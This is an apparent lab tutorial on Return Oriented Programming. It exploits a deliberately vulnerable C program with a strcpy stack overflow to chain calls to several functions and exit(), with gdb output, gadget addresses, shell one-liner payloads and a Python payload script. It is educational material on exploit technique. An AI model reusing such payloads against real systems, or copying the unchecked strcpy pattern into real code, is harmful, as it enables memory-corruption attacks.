# ROP Chaining: Return Oriented Programming

## ROP Chaining: Return Oriented Programming

The purpose of this lab is to familiarize with a binary exploitation technique called Return Oriented Programming (ROP), ROP chains / ROP gadgets. The technique is used to bypass Data Execution Protection (DEP).

{% hint style="warning" %}
Don't forget to disable the ASLR for this lab to work:

```
echo 0 > /proc/sys/kernel/randomize_va_space
```

{% endhint %}

### 1st ROP Chain

#### Vulnerable Code

We wil exploit the following code in a program `rop1a` that is intentionally vulnerable with a classic stack-based overflow:

{% tabs %}
{% tab title="rop1a.c" %}

```c
#include <stdio.h>
#include <string.h>

void rop1() 
{
    printf("ROP 1!\n");
}

void rop2() {
    printf("ROP 2!\n");
}

void rop3() {
    printf("ROP 3!\n");
}

void vulnerable(char* string) 
{
    char buffer[100];
    strcpy(buffer, string);
}

int main(int argc, char** argv) 
{
    vulnerable(argv[1]);
    return 0;
}
```

{% endtab %}
{% endtabs %}

The above program starts executing at `main()`, which calls `vulnerable()` where the user supplied buffer will be copied into the variable `buffer[100]`.

Note that there are 3 functions `rop1`, `rop2` and `rop3` that are never called during the normal program execution, but that's about to change and this is the purpose of this lab - we're going to exploit the stack-based overflow and force the program to call all those rop functions one after another.

#### Objective

We're going to exploit the classic stack-based overflow vulnerability in the function `vulnerable` in the above code to trigger the functions `rop1()`, `rop2()` and `rop3()` sequentially, that are otherwise not called during the vulnerable program's runtime. Additionally, after the `rop3()` function completes, we will make the program call the libc function `exit()`, so that after the exploit completes its job, the program exits gracefully rather than with a crash.

{% hint style="info" %}
The sequence of called functions `rop1() --> rop2() --> rop3() --> exit()` forms a chain and this is where the term ROP chains come from.
{% endhint %}

#### Stack Layout

The key thing to understand with ROP chaining is the stack layout. In our case, the payload that we send to the vulnerable program needs to overflow the stack and populate it in such a way, that the exploited program calls our wanted functions in the following order:

1. `rop1()`
2. `rop2()`
3. `rop3()`
4. `exit()`

In other words, we need to ensure that the stack in our vulnerable program `rop1a`, when the `vulnerable` function completes and is about to execute the `ret` instruction to return to the caller function `main`, is organized like this:

![We need to make sure the overflowed stack looks like this](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Me6KFbb12e2jzW1fcUM%2F-Me6KYaayNFaBqGoR_CX%2Fimage.png?alt=media\&token=e5d907b3-3397-46d7-945f-222329a1b789)

If we think about the above graphic, we will realize that once the stack is overflowed, the following will happen when the vulnerable program continues its execution:

1. The `vulnerable` function will return/jump to the `rop1()`. Note that before we overflowed the stack, this would have been a return address back to the `main` function, to be precise - the `return 0` statement in line 26 as seen in the Vulnerable Code secion;
2. Once `rop1()` completes, it will execute the `ret` instruction, which will pop the `rop2()` function address off the stack and jump to it;
3. Once `rop2()` completes, it will execute the `ret` instruction, which will pop the `rop3()` function address off the stack and jump to it;
4. Once `rop3()` completes, it will execute the `ret` instruction, which will pop the `exit()` function address off the stack and jump to it;

We will later confirm this with gdb in the Inspecting the Stack section.

#### Payload

Based on the above graphic and stack understanding so far, our payload should look something like this:

```
payload = AAAAs... + BBBB + &rop1 + &rop2 + &rop3 + &exit
```

...or for easier cross-reference - using the same colours as those seen in the above stack layout diagram:

![Payload structure visualized](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeFiTlirTX3m5BH8ZEi%2F-MeFiih5cWrARosj4qs8%2Fimage.png?alt=media\&token=bd6723c7-e557-41ec-b3c3-c28aff4ea831)

Let's find out the values we need to populate our payload with. Compile our vulnerable program `rop1a`:

```python
gcc -m32 -fno-stack-protector -z execstack rop1a.c -o rop1a
```

Start debugging it with [gdb-peda](https://github.com/longld/peda) and put a breakpoint on `main()` and continue execution:

```python
gdb rop1a
b main
c
```

Now, let's find out addresses for our functions `rop1`, `rop2`, `rop3` and `exit`:

```csharp
gdb-peda$ p rop1
$1 = {<text variable, no debug info>} 0x565561a9 <rop1>

gdb-peda$ p rop2
$2 = {<text variable, no debug info>} 0x565561d4 <rop2>

gdb-peda$ p rop3
$3 = {<text variable, no debug info>} 0x565561ff <rop3>

gdb-peda$ p exit
$4 = {<text variable, no debug info>} 0xf7e02950 <exit>
```

Below shows the function addresses in gdb:

![Key function addresses to be used in the payload](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mb29PdBSfE1vUKDA5iE%2F-Mb31CmMnPjEExI7eQNu%2Fimage.png?alt=media\&token=45326332-b834-4e38-af09-17da659a5310)

Having found the function addreses, our payload visualization can now be updated like this:

![Payload structure with ROP function addresses](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeFhvbsXEq878zUvyo5%2F-MeFiAOQAZD36DVLSqxV%2Fimage.png?alt=media\&token=670d2cad-3017-4240-bb61-b38c30c88637)

The last thing we need to know is how many AAAAs we must send in to the `vulnerable` program before we can take over the EIP and overwrite the return address of the `vulnerable` function and point it to our first ROP chain function - `rop1`.

Below screenshot indicates that the offset of interest is 112 (0x70), or in other words, we need to send 112 A characters to smash the stack:

![EIP offset](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mb29PdBSfE1vUKDA5iE%2F-Mb3DDBtnV4rOvbnEQes%2Fimage.png?alt=media\&token=e0c500fb-adae-4cd1-8664-de7e0634616c)

See below notes for more details on how to find the offset at which we can overwrite the `vulnerable` function's return address:

Knowing the EIP offset, we can now now visualize the full payload like this:

![Payload structure with correct EIP offset and ROP function addresses](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MeFiTlirTX3m5BH8ZEi%2F-MeFjA-s1gpKQLkCKpGu%2Fimage.png?alt=media\&token=79aa783d-17c7-4b37-8206-0060e1955bc1)

#### Exploit

We can now construct the full payload in python and send it to our vulnerable program `rop1a` like this:

```python
./rop1a "$(python -c 'print "A"*108 + "BBBB" + "\xa9\x61\x55\x56" + "\xd4\x61\x55\x56" + "\xff\x61\x55\x56" +  "\x50\x29\xe0\xf7"')"
```

If we execute it, we can see that`rop1`, `rop2` and `rop3` functions are called successfully as they each call their respective `printf()` statements:

![1st ROP chain in action](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mb29PdBSfE1vUKDA5iE%2F-Mb3FeapAizXUMECkoDW%2Frop-chain-exploit.gif?alt=media\&token=a69cc076-fed0-415f-aa4a-f04b2d91889b)

Note how the program did not crash with some segfault - this is because `rop3` called `exit` upon return. To re-inforce this understanding, we will see how that came to be in the below section.

#### Inspecting the Stack Layout

Let's explore the stack layout of the vulnerable program `rop1a` when the `vulnerable()` function gets exploited and is about to return after it completes executing - when the CPU is about to execute the `ret` instruction.

Below screenshot shows the initial diagram on the left, indicating how we needed the stack to look like during the exploitation and gdb screenshots on the right, that confirm we successfully built the required stack:

![Stack layout during vulnerable function's execution](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Me6KFbb12e2jzW1fcUM%2F-Me6McuujFXfLVCdFoRp%2Fimage.png?alt=media\&token=108713ce-98ad-4389-8b98-81e3ff45a357)

From the above screenshot, note the following key points:

1. `vulnerable()` function is about to execute the `ret` instruction at `0x56556254`;
2. `ret` instruction will pop the top-most value from the stack, which is a memory address of the `rop1()` function and jump to it, this way kicking off our ROP chain execution.

Next, once `rop1()` is about to return, the `ret` instruction will pop the top-most value from the stack, which is a memory location of `rop2()` and jump to it:

![rop1 is about to return, pop the rop2 address from the stack and jump to it](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mb3IVQQsM1DqqOyBuki%2F-Mb8BWJ9D3ivDyeFVQgC%2Fimage.png?alt=media\&token=47b496e4-792f-4d7e-a6f7-f7513a2c8c8b)

Once `rop2()` is about to return, the `ret` instruction will pop the top-most value from the stack, which is a memory location of `rop3()` and jump to it:

![rop2 is about to return, pop the rop3 address from the stack and jump to it](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mb3IVQQsM1DqqOyBuki%2F-Mb8BrV9Aq6FL8XoXTdY%2Fimage.png?alt=media\&token=5e9c5c23-b3a8-480c-a737-ceb248221e1b)

Once `rop3()` is about to return, the `ret` instruction will pop the top-most value from the stack, which is a memory location of `exit()` and jump to it:

![rop3 is about to return, pop the exit address from the stack and jump to it](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mb3IVQQsM1DqqOyBuki%2F-Mb8CJXa60K96Xfuiu70%2Fimage.png?alt=media\&token=ab69a054-55f3-442d-8a37-dc5720335fe7)

This illustrates how we managed to build our first ROP chain by organizing the stack in such a way that forced the vulnerable program to call `rop1`, which upon return called `rop2`, which upon return called `rop3`, which upon return called `exit`:

![1st ROP chain in action](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mb29PdBSfE1vUKDA5iE%2F-Mb3FeapAizXUMECkoDW%2Frop-chain-exploit.gif?alt=media\&token=a69cc076-fed0-415f-aa4a-f04b2d91889b)

### 2nd ROP Chain

Our first ROP chain called 4 functions and none of them were called with arguments. Let's build our second ROP chain that will call functions with some arguments and see how we need to build the stack this time around.

#### Vulnerable Code

We're going to re-use the same code, but modify it so that `rop2` and `rop3` functions will take 1 and 2 arguments respectively and will print them out accordingly when called:

{% tabs %}
{% tab title="rop1b.c" %}

```c
#include <stdio.h>
#include <string.h>

void rop1() {
    printf("ROP 1!\n");
}

void rop2(int a) {
    printf("ROP 2: %x!\n", a);
}

void rop3(int a, int b) {
    printf("ROP 3: %x, %x!\n", a, b);
}

void vulnerable(char* string) {
    char buffer[100];
    strcpy(buffer, string);
}

int main(int argc, char** argv) {
    vulnerable(argv[1]);
    return 0;
}
```

{% endtab %}
{% endtabs %}

#### Objective

The objective is to subvert our vulnerable program `rop1b` and make it call functions `rop1`, `rop2`, `rop3` and `exit` the same way we did it with our first ROP chain, however, this time `rop2` function is declared as `rop2(int a)` and `rop3` as `rop3(int a, int b)`, meaning we will have to somehow (hint: using stack) pass 1 argument to `rop2` and 2 arguments to `rop3`.

#### Stack Layout

Below shows what the stack needs to look like this time. Annotations explain the purpose of each memory address or value on the stack:

![Required stack layout for our 2nd ROP chain](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Me6KFbb12e2jzW1fcUM%2F-Me6N03HxfivnVlXvDsO%2Fimage.png?alt=media\&token=415212b5-7a8f-405b-bdcf-a3875b2878f8)

To re-inforce, stack for our second ROP chain has the following key differences when compared to the stack of the first ROP chain:

1. Stack contains arguments for functions `rop2` and `rop3`;
2. Stack contains 2 additional memory addresses, called ROP gadgets:
   1. `pop ret` - for popping off the `arg1` argument that was passed to `rop2` function and then jumping to `rop3` (because `ret` instruction will pop the `rop3` address off the stack that will be at the top once the `arg1` is removed from the stack, and jump to it);
   2. `pop pop ret` - for popping off the 2 arguments `arg1` and `arg2` (hence 2 pops) that were passed to the `rop3` function and then jumpt to `exit` (because `ret` instruction will pop the `exit` address off the top of the stack that will be there after the 2 arguments are removed).

#### ROP Gadgets

{% hint style="info" %}

* ROP gadgets are sequences of CPU instructions that are already present in the program being exploited or its loaded shared libraries and can be used to execute almost any arbitrary code;
* ROP gagdgets most often end with the `ret` instruction;
* ROP gadgets bypass the DEP (NX bit protection), since there is no executable code being injected to and executed from the stack, instead existing executable code is used to achieve the same malicious intent.
  {% endhint %}

In gdb-peda, we can find addresses of the 2 gadgets that we are interested in (`popret` for `rop2` and `pop2ret` for `rop3`) by issuing the `ropgadet` command:

![ropgadgets in rop1b vulnerable program](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mb8Hunms0j3kQH0p6V8%2F-Mb8ZcGJI677JEQ52Tl-%2Fimage.png?alt=media\&token=789427da-4bc5-48bb-a9b6-e106637e1766)

```python
gdb-peda$ ropgadget 
ret = 0x5655600a
popret = 0x5655601e
pop2ret = 0x5655630a
pop3ret = 0x56556309
pop4ret = 0x56556308
addesp_12 = 0x5655601b
addesp_16 = 0x565560fe
```

To confirm that the rop gadget does what it says it will, we can inspect the instructions for the rop gadget `popret = 0x5655601e` and we will see that it indeed contains 2 CPU instrutions `pop ebx & ret`:

![popret ROP gadget instructions](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mb8dAFiHM87nXkjOg2u%2F-Mb8eVa40c8TAKEzNjEi%2Fimage.png?alt=media\&token=f08d93cb-921d-453f-8e29-f4a0d8bd0dc6)

#### Payload

Now that we know how the stack should look like, let's build the payload for our second ROP chain.

First off, let's get addresses of our `rop1`, `rop2`, `rop3` and the libc `exit` functions:

```python
gdb-peda$ p rop1
$4 = {<text variable, no debug info>} 0x565561b9 <rop1>
gdb-peda$ p rop2
$5 = {<text variable, no debug info>} 0x565561e4 <rop2>
gdb-peda$ p rop3
$6 = {<text variable, no debug info>} 0x56556212 <rop3>
gdb-peda$ p exit
$7 = {<text variable, no debug info>} 0xf7e02950 <exit>
```

![rop1, rop2, rop3 and exit function addresses inside rop1b vulnerable program](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MbAyCcQAz23TDDYnVNb%2F-MbDLsP5hjrkcv4ygs-F%2Fimage.png?alt=media\&token=9fc9e791-ddca-4b82-8494-cbc695c15e81)

Let's also note the `popret` and `pop2ret` gagdet addresses:

![ROP gadget addresses for rop1b vulnerable program](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MbAyCcQAz23TDDYnVNb%2F-MbDMKoDUBEZBQmbOuPf%2Fimage.png?alt=media\&token=aa10fa17-43f0-4a6c-a154-edb315df6ff7)

Since we now know how the stack needs to look like and we have addresses for our functions and ROP gadgets, we can visualize our payload like this:

![Visualized payload for the 2nd ROP chain](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Me6KFbb12e2jzW1fcUM%2F-Me6WX4FD6vcIt2DeXGN%2Fimage.png?alt=media\&token=ba2c4980-cf87-410b-b007-a6aa51649d98)

#### Exploit

We can now translate the above visualized payload to python like so:

```python
./rop1b "$(python -c 'print "A"*108 + "BBBB" + "\xb9\x61\x55\x56" + "\xe4\x61\x55\x56" + "\x1e\x60\x55\x56" + "\xef\xbe\xef\xbe" + "\x12\x62\x55\x56" + "\x0a\x63\x55\x56" + "\xad\xde\xad\xde" + "\xd3\xc0\xd3\xc0" + "\x50\x29\xe0\xf7" ')"
```

Below shows how the above payload is sent to the vulnerable program `rop1b`, that executes `rop1`, `rop2` with argument `0xbeefbeef` that gets printed out and `rop3` with 2 arguments `0xdeaddead` and `0xc0d3cod3` which too get printed and finally gracefully exits:

![2nd ROP chain with arguments and rop gadgets works as expected](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Mb8Hunms0j3kQH0p6V8%2F-Mb8ZrXUspRc3P9YGIez%2Frop-chain-exploit-with-popret.gif?alt=media\&token=6e8843e7-27b6-43c2-851e-55c02764787b)

#### Inspecting the Stack Layout

To avoid repeating what we saw in the Stack Layout section for our first ROP chain, let's just see how the `pop2ret` ROP gadget works and how it affects the stack during execution, since that is the only difference worth mentioning:

![Inspecting the stack layout](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-MbDU4ewhTzXkSVE4kUE%2F-MbDrlZxb1bhBaJo7NjH%2Fpop-pop-ret-inspection.gif?alt=media\&token=6875581a-b7bb-4ee9-8f5a-1068e81698fc)

Note the following key points from the above gif:

* We're on a breakpoint inside the `rop3` function, where it's about to return by executing the `ret` instruction;
* At the top of the stack, there's an address of a `pop2ret` ROP gadget with `pop edi; pop ebp; ret` instructions inside a libc shared library loaded by our vulnerable program;
* `0xdeaddead` and `0xc0d3c0d3` are on the stop of the stack, just below the `pop2ret` address;
* Once the `ret` is executed, the code jumps to the said `pop2ret` ROP gagdet;
* `pop2ret` instructions `pop edi; pop ebp` execute and `0xdeaddead` and `0xc0d3c0d3` are popped from the stack;
* Address of the libc `exit()` function is now on top of the stack;
* Finally, `ret` instruction executes, which pops the `exit()` address from the stack and jumps to it, completing our second ROP chain execution and gracefully closing the vulnerable program.

{% hint style="info" %}
We could have chosen to inspect the `popret` gadget and we would have seen a nearly identical behaviour to the one noted above, except that `popret` would have popped only one value from the stack before executing the `ret` instruction.
{% endhint %}

### Useful Python

#### Little Endian Converter

Below is a useful python snippet that converts a given memory address, i.e `0x565561d4`, to it's little-endian format, i.e `\\xd4\\x61\\x55\\x56`:

```python
import struct
'\\x' + '\\x'.join(x.encode('hex') for x in struct.pack('I', 0x565561d4)).encode("utf-8")
'\\xd4\\x61\\x55\\x56'
```

#### Payload Executor

Below shows an easy way to build the stack using `struct.pack` that does not require us to deal with little-endiannes when specifying memory addresses in the exploit:

```python
#!/usr/bin/env python
import os
import struct

pop_ret = 0x5655601e
pop_pop_ret = 0x5655630a
rop1 = 0x565561b9
rop2 = 0x565561e4
rop3 = 0x56556212
exit = 0xf7e02950

# Build the stack
# Overflow
payload =  "A"*108
payload += "BBBB"

# Address of rop1()
payload += struct.pack("I", rop1)

# Address of rop2(), address of pop ret and an argument for rop2()
payload += struct.pack("I", rop2)
payload += struct.pack("I", pop_ret)
payload += struct.pack("I", 0xbeefbeef)

# Address of rop3(), adress of pop pop ret, and arguments 1 and 2
payload += struct.pack("I", rop3)
payload += struct.pack("I", pop_pop_ret)
payload += struct.pack("I", 0xdeaddead)
payload += struct.pack("I", 0xc0dec0de)

# Address of exit()
payload += struct.pack("I", exit)

# Execute the full payload
os.system("./rop1b '" + payload + "'")
```

Once the payload is constructed, we can execute it:

```
python payload.py
```

![ROP chains executed successfully](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-Me6KFbb12e2jzW1fcUM%2F-Me6Y3_F33vR7YgOltH2%2Fimage.png?alt=media\&token=3f700183-06c9-4f4f-815e-c640e7068d87)

### References

{% embed url="<https://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html>" %}

{% embed url="<https://medium.com/@codingkarma/rop-the-easy-way-7a3b28070bbf>" %}

{% embed url="<https://www.fuzzysecurity.com/tutorials/expDev/7.html>" %}

{% embed url="<https://bordplate.no/blog/en/post/interactive-rop-tutorial/>" %}

{% embed url="<https://ctf101.org/binary-exploitation/return-oriented-programming/>" %}

{% embed url="<https://tc.gts3.org/cs6265/2019/tut/tut06-01-rop.html>" %}
